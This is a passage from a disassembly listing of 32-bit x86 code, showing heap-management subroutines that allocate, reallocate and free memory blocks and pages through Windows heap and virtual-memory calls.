XREF: sub_40EFAC+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_40F260: ; CODE XREF: sub_40EFAC+24Ej ; sub_40EFAC+283j mov ecx, [ebp+var_8] loc_40F263: ; CODE XREF: sub_40EFAC+1A4j test ecx, ecx jz short loc_40F272 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_40F272 ; --------------------------------------------------------------------------- loc_40F26F: ; CODE XREF: sub_40EFAC+229j mov ecx, [ebp+var_8] loc_40F272: ; CODE XREF: sub_40EFAC+2B9j ; sub_40EFAC+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_40F2A8 cmp ebx, dword_480F74 jnz short loc_40F2A8 mov ecx, [ebp+var_4] cmp ecx, dword_480F6C jnz short loc_40F2A8 and dword_480F74, 0 loc_40F2A8: ; CODE XREF: sub_40EFAC+2E0j ; sub_40EFAC+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_40F2B0: ; CODE XREF: sub_40EFAC+F0j pop edi pop esi pop ebx leave retn sub_40EFAC endp ; =============== S U B R O U T I N E ======================================= sub_40F2B5 proc near ; CODE XREF: sub_40EFAC+CCp mov eax, dword_480F78 mov ecx, dword_480F68 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_40F2F8 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_480F7C push edi push dword_480F84 call dword_417110 ; RtlReAllocateHeap cmp eax, edi jz short loc_40F348 add dword_480F68, 10h mov dword_480F7C, eax mov eax, dword_480F78 loc_40F2F8: ; CODE XREF: sub_40F2B5+11j mov ecx, dword_480F7C push 41C4h push 8 lea eax, [eax+eax*4] push dword_480F84 lea esi, [ecx+eax*4] call dword_417104 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_40F348 push 4 push 2000h push 100000h push edi call dword_417138 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_40F34C push dword ptr [esi+10h] push edi push dword_480F84 call dword_417108 ; RtlFreeHeap loc_40F348: ; CODE XREF: sub_40F2B5+30j ; sub_40F2B5+67j xor eax, eax jmp short loc_40F363 ; --------------------------------------------------------------------------- loc_40F34C: ; CODE XREF: sub_40F2B5+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_480F78 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_40F363: ; CODE XREF: sub_40F2B5+95j pop edi pop esi retn sub_40F2B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F366 proc near ; CODE XREF: sub_40EFAC+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_40F378: ; CODE XREF: sub_40F366+19j test eax, eax jl short loc_40F381 shl eax, 1 inc ebx jmp short loc_40F378 ; --------------------------------------------------------------------------- loc_40F381: ; CODE XREF: sub_40F366+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_40F396: ; CODE XREF: sub_40F366+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_40F396 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_417138 ; VirtualAlloc test eax, eax jnz short loc_40F3C9 or eax, 0FFFFFFFFh jmp loc_40F45C ; --------------------------------------------------------------------------- loc_40F3C9: ; CODE XREF: sub_40F366+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_40F40F lea eax, [edi+10h] loc_40F3D6: ; CODE XREF: sub_40F366+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_40F3D6 loc_40F40F: ; CODE XREF: sub_40F366+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_40F44C or [eax+4], edi loc_40F44C: ; CODE XREF: sub_40F366+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_40F45C: ; CODE XREF: sub_40F366+5Ej pop edi pop esi pop ebx leave retn sub_40F366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F461 proc near ; CODE XREF: sub_40C4F8+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_40F60F test bl, 1 jnz loc_40F608 add ebx, ecx cmp esi, ebx jg loc_40F608 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_40F4D8 push 3Fh pop ecx mov [ebp+var_8], ecx loc_40F4D8: ; CODE XREF: sub_40F461+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_40F528 cmp ecx, 20h jnb short loc_40F504 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_40F528 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40F528 ; --------------------------------------------------------------------------- loc_40F504: ; CODE XREF: sub_40F461+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40F528 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40F528: ; CODE XREF: sub_40F461+7Dj ; sub_40F461+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_40F5F6 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_40F562 push 3Fh pop edi loc_40F562: ; CODE XREF: sub_40F461+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_40F5E4 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_40F5BB cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_40F5AE mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_40F5AE: ; CODE XREF: sub_40F461+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_40F5E0 ; --------------------------------------------------------------------------- loc_40F5BB: ; CODE XREF: sub_40F461+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_40F5D1 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_40F5D1: ; CODE XREF: sub_40F461+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_40F5E0: ; CODE XREF: sub_40F461+158j shr edx, cl or [eax], edx loc_40F5E4: ; CODE XREF: sub_40F461+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_40F5F9 ; --------------------------------------------------------------------------- loc_40F5F6: ; CODE XREF: sub_40F461+E5j mov edx, [ebp+arg_4] loc_40F5F9: ; CODE XREF: sub_40F461+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_40F74F ; --------------------------------------------------------------------------- loc_40F608: ; CODE XREF: sub_40F461+52j ; sub_40F461+5Cj xor eax, eax jmp loc_40F752 ; --------------------------------------------------------------------------- loc_40F60F: ; CODE XREF: sub_40F461+49j jge loc_40F74F mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_40F63A push 3Fh pop esi loc_40F63A: ; CODE XREF: sub_40F461+1D4j test byte ptr [ebp+var_4], 1 jnz loc_40F6C9 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_40F653 push 3Fh pop esi loc_40F653: ; CODE XREF: sub_40F461+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_40F6A2 cmp esi, 20h jnb short loc_40F67E mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_40F69F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40F69F ; --------------------------------------------------------------------------- loc_40F67E: ; CODE XREF: sub_40F461+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40F69F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40F69F: ; CODE XREF: sub_40F461+214j ; sub_40F461+21Bj ... mov ebx, [ebp+arg_4] loc_40F6A2: ; CODE XREF: sub_40F461+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_40F6C9 push 3Fh pop esi loc_40F6C9: ; CODE XREF: sub_40F461+1DDj ; sub_40F461+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_40F746 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_40F71D cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40F710 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_40F710: ; CODE XREF: sub_40F461+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_40F742 ; --------------------------------------------------------------------------- loc_40F71D: ; CODE XREF: sub_40F461+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_40F733 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_40F733: ; CODE XREF: sub_40F461+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_40F742: ; CODE XREF: sub_40F461+2BAj shr edx, cl or [eax], edx loc_40F746: ; CODE XREF: sub_40F461+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_40F74F: ; CODE XREF: sub_40F461+1A2j ; sub_40F461:loc_40F60Fj push 1 pop eax loc_40F752: ; CODE XREF: sub_40F461+1A9j pop edi pop esi pop ebx leave retn sub_40F461 endp ; =============== S U B R O U T I N E ======================================= sub_40F757 proc near ; CODE XREF: sub_40EBB3+41p ; sub_40FA4F:loc_40FC1Ep cmp dword_41DC20, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_40F76B mov esi, offset off_41DC10 jmp short loc_40F788 ; --------------------------------------------------------------------------- loc_40F76B: ; CODE XREF: sub_40F757+Bj push 2020h push 0 push dword_480F84 call dword_417104 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_40F894 loc_40F788: ; CODE XREF: sub_40F757+12j mov ebp, dword_417138 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_40F87D push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_40F86F mov eax, offset off_41DC10 cmp esi, eax jnz short loc_40F7E7 cmp off_41DC10, 0 jnz short loc_40F7D7 mov off_41DC10, eax loc_40F7D7: ; CODE XREF: sub_40F757+79j cmp off_41DC14, 0 jnz short loc_40F7FC mov off_41DC14, eax jmp short loc_40F7FC ; --------------------------------------------------------------------------- loc_40F7E7: ; CODE XREF: sub_40F757+70j mov [esi], eax mov eax, off_41DC14 mov [esi+4], eax mov off_41DC14, esi mov eax, [esi+4] mov [eax], esi loc_40F7FC: ; CODE XREF: sub_40F757+87j ; sub_40F757+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_40F81E: ; CODE XREF: sub_40F757+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_40F81E push ebx push 0 push edi call sub_40B630 add esp, 0Ch loc_40F847: ; CODE XREF: sub_40F757+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_40F86B or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_40F847 ; --------------------------------------------------------------------------- loc_40F86B: ; CODE XREF: sub_40F757+F7j mov eax, esi jmp short loc_40F896 ; --------------------------------------------------------------------------- loc_40F86F: ; CODE XREF: sub_40F757+63j push 8000h push 0 push edi call dword_417134 ; VirtualFree loc_40F87D: ; CODE XREF: sub_40F757+4Bj cmp esi, offset off_41DC10 jz short loc_40F894 push esi push 0 push dword_480F84 call dword_417108 ; RtlFreeHeap loc_40F894: ; CODE XREF: sub_40F757+2Bj ; sub_40F757+12Cj xor eax, eax loc_40F896: ; CODE XREF: sub_40F757+116j pop edi pop esi pop ebp pop ebx retn sub_40F757 endp ; =============== S U B R O U T I N E ======================================= sub_40F89B proc near ; CODE XREF: sub_40F8F1+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_417134 ; VirtualFree cmp off_41FC30, esi jnz short loc_40F8C0 mov eax, [esi+4] mov off_41FC30, eax loc_40F8C0: ; CODE XREF: sub_40F89B+1Bj cmp esi, offset off_41DC10 jz short loc_40F8E8 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_480F84 call dword_417108 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_40F8E8: ; CODE XREF: sub_40F89B+2Bj or dword_41DC20, 0FFFFFFFFh pop esi retn sub_40F89B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8F1 proc near ; CODE XREF: sub_40FA0A+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_41DC14 push edi loc_40F8FE: ; CODE XREF: sub_40F8F1+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_40F99C and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_40F917: ; CODE XREF: sub_40F8F1+72j cmp dword ptr [edi], 0F0h jnz short loc_40F958 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_417134 ; VirtualFree test eax, eax jz short loc_40F958 or dword ptr [edi], 0FFFFFFFFh dec dword_47F974 mov eax, [esi+0Ch] test eax, eax jz short loc_40F94D cmp eax, edi jbe short loc_40F950 loc_40F94D: ; CODE XREF: sub_40F8F1+56j mov [esi+0Ch], edi loc_40F950: ; CODE XREF: sub_40F8F1+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_40F965 loc_40F958: ; CODE XREF: sub_40F8F1+2Cj ; sub_40F8F1+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_40F917 loc_40F965: ; CODE XREF: sub_40F8F1+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_40F99C cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_40F99C push 1 lea eax, [ecx+20h] pop edx loc_40F97C: ; CODE XREF: sub_40F8F1+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_40F98D inc edx add eax, 8 cmp edx, 400h jl short loc_40F97C loc_40F98D: ; CODE XREF: sub_40F8F1+8Ej cmp edx, 400h jnz short loc_40F99C push ecx call sub_40F89B pop ecx loc_40F99C: ; CODE XREF: sub_40F8F1+11j ; sub_40F8F1+7Dj ... cmp esi, off_41DC14 jz short loc_40F9AE cmp [ebp+arg_0], 0 jg loc_40F8FE loc_40F9AE: ; CODE XREF: sub_40F8F1+B1j pop edi pop esi pop ebx leave retn sub_40F8F1 endp ; =============== S U B R O U T I N E ======================================= sub_40F9B3 proc near ; CODE XREF: sub_40B771+3Ap ; sub_40C4F8+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_41DC10 push esi mov ecx, edx loc_40F9BF: ; CODE XREF: sub_40F9B3+1Cj cmp eax, [ecx+10h] jbe short loc_40F9C9 cmp eax, [ecx+14h] jb short loc_40F9D1 loc_40F9C9: ; CODE XREF: sub_40F9B3+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_40FA06 jmp short loc_40F9BF ; --------------------------------------------------------------------------- loc_40F9D1: ; CODE XREF: sub_40F9B3+14j test al, 0Fh jnz short loc_40FA06 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_40FA06 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_40FA06: ; CODE XREF: sub_40F9B3+1Aj ; sub_40F9B3+20j ... xor eax, eax pop esi retn sub_40F9B3 endp ; =============== S U B R O U T I N E ======================================= sub_40FA0A proc near ; CODE XREF: sub_40B771+4Dp ; sub_40C4F8+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_40FA4E inc dword_47F974 cmp dword_47F974, 20h jnz short locret_40FA4E push 10h call sub_40F8F1 pop ecx locret_40FA4E: ; CODE XREF: sub_40FA0A+2Bj ; sub_40FA0A+3Aj retn sub_40FA0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA4F proc near ; CODE XREF: sub_40B6FD+4Ap ; sub_40C4F8+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_41FC30 push edi loc_40FA5D: ; CODE XREF: sub_40FA4F+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_40FB08 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_40FAC2 loc_40FA88: ; CODE XREF: sub_40FA4F+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_40FAAB cmp [edi+4], ebx jbe short loc_40FAAB push ebx push ecx push eax call sub_40FC57 add esp, 0Ch test eax, eax jnz short loc_40FB1A mov eax, [ebp+var_4] mov [edi+4], ebx loc_40FAAB: ; CODE XREF: sub_40FA4F+40j ; sub_40FA4F+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_40FA88 jmp short loc_40FAC5 ; --------------------------------------------------------------------------- loc_40FAC2: ; CODE XREF: sub_40FA4F+37j mov ebx, [ebp+arg_0] loc_40FAC5: ; CODE XREF: sub_40FA4F+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_40FB0B loc_40FAD8: ; CODE XREF: sub_40FA4F+B5j mov eax, [edi] cmp eax, ebx jl short loc_40FAF7 cmp [edi+4], ebx jbe short loc_40FAF7 push ebx push eax push [ebp+var_4] call sub_40FC57 add esp, 0Ch test eax, eax jnz short loc_40FB1A mov [edi+4], ebx loc_40FAF7: ; CODE XREF: sub_40FA4F+8Dj ; sub_40FA4F+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_40FAD8 jmp short loc_40FB0B ; --------------------------------------------------------------------------- loc_40FB08: ; CODE XREF: sub_40FA4F+14j mov ebx, [ebp+arg_0] loc_40FB0B: ; CODE XREF: sub_40FA4F+87j ; sub_40FA4F+B7j mov esi, [esi] cmp esi, off_41FC30 jz short loc_40FB2A jmp loc_40FA5D ; --------------------------------------------------------------------------- loc_40FB1A: ; CODE XREF: sub_40FA4F+54j ; sub_40FA4F+A3j mov off_41FC30, esi sub [edi], ebx mov [esi+8], edi jmp loc_40FC52 ; --------------------------------------------------------------------------- loc_40FB2A: ; CODE XREF: sub_40FA4F+C4j mov eax, offset off_41DC10 mov edi, eax loc_40FB31: ; CODE XREF: sub_40FA4F+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_40FB3D cmp dword ptr [edi+0Ch], 0 jnz short loc_40FB49 loc_40FB3D: ; CODE XREF: sub_40FA4F+E6j mov edi, [edi] cmp edi, eax jz loc_40FC1E jmp short loc_40FB31 ; --------------------------------------------------------------------------- loc_40FB49: ; CODE XREF: sub_40FA4F+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_40FB78 loc_40FB67: ; CODE XREF: sub_40FA4F+127j cmp [ebp+var_4], 10h jge short loc_40FB78 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_40FB67 loc_40FB78: ; CODE XREF: sub_40FA4F+116j ; sub_40FA4F+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_417138 ; VirtualAlloc cmp eax, esi jnz loc_40FC50 push 0 push [ebp+var_8] push esi call sub_40B630 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_40FBDF lea eax, [esi+4] mov [ebp+var_4], edx loc_40FBB5: ; CODE XREF: sub_40FA4F+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_40FBB5 loc_40FBDF: ; CODE XREF: sub_40FA4F+15Ej mov off_41FC30, edi lea eax, [edi+2018h] loc_40FBEB: ; CODE XREF: sub_40FA4F+1A8j cmp ecx, eax jnb short loc_40FBFB cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_40FBF9 add ecx, 8 jmp short loc_40FBEB ; --------------------------------------------------------------------------- loc_40FBF9: ; CODE XREF: sub_40FA4F+1A3j cmp ecx, eax loc_40FBFB: ; CODE XREF: sub_40FA4F+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_40FC52 ; --------------------------------------------------------------------------- loc_40FC1E: ; CODE XREF: sub_40FA4F+F2j call sub_40F757 test eax, eax jz short loc_40FC50 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_41FC30, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_40FC52 ; --------------------------------------------------------------------------- loc_40FC50: ; CODE XREF: sub_40FA4F+143j ; sub_40FA4F+1D6j xor eax, eax loc_40FC52: ; CODE XREF: sub_40FA4F+D6j ; sub_40FA4F+1CDj ... pop edi pop esi pop ebx leave retn sub_40FA4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FC57 proc near ; CODE XREF: sub_40FA4F+4Ap ; sub_40FA4F+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_40FC9C lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_40FC8B add [ecx], edx sub [ecx+4], edx jmp short loc_40FC94 ; --------------------------------------------------------------------------- loc_40FC8B: ; CODE XREF: sub_40FC57+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_40FC94: ; CODE XREF: sub_40FC57+32j lea eax, [edi+8] jmp loc_40FD6A ; --------------------------------------------------------------------------- loc_40FC9C: ; CODE XREF: sub_40FC57+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_40FCA5 mov eax, esi loc_40FCA5: ; CODE XREF: sub_40FC57+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_40FCEF loc_40FCAC: ; CODE XREF: sub_40FC57+96j mov bl, [eax] test bl, bl jnz short loc_40FCE2 push 1 lea ebx, [eax+1] pop esi loc_40FCB8: ; CODE XREF: sub_40FC57+68j cmp byte ptr [ebx], 0 jnz short loc_40FCC1 inc ebx inc esi jmp short loc_40FCB8 ; --------------------------------------------------------------------------- loc_40FCC1: ; CODE XREF: sub_40FC57+64j cmp esi, edx jnb short loc_40FD13 cmp eax, [ebp+var_4] jnz short loc_40FCCF mov [ecx+4], esi jmp short loc_40FCDB ; --------------------------------------------------------------------------- loc_40FCCF: ; CODE XREF: sub_40FC57+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_40FD74 loc_40FCDB: ; CODE XREF: sub_40FC57+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_40FCE7 ; --------------------------------------------------------------------------- loc_40FCE2: ; CODE XREF: sub_40FC57+59j movzx esi, bl add eax, esi loc_40FCE7: ; CODE XREF: sub_40FC57+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_40FCAC loc_40FCEF: ; CODE XREF: sub_40FC57+53j lea esi, [ecx+8] loc_40FCF2: ; CODE XREF: sub_40FC57+EBj ; sub_40FC57+F2j cmp esi, edi jnb short loc_40FD74 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_40FD74 mov al, [esi] test al, al jnz short loc_40FD44 push 1 lea ebx, [esi+1] pop eax loc_40FD0A: ; CODE XREF: sub_40FC57+BAj cmp byte ptr [ebx], 0 jnz short loc_40FD34 inc ebx inc eax jmp short loc_40FD0A ; --------------------------------------------------------------------------- loc_40FD13: ; CODE XREF: sub_40FC57+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_40FD24 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_40FD2D ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40FC57+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_40FD2D: ; CODE 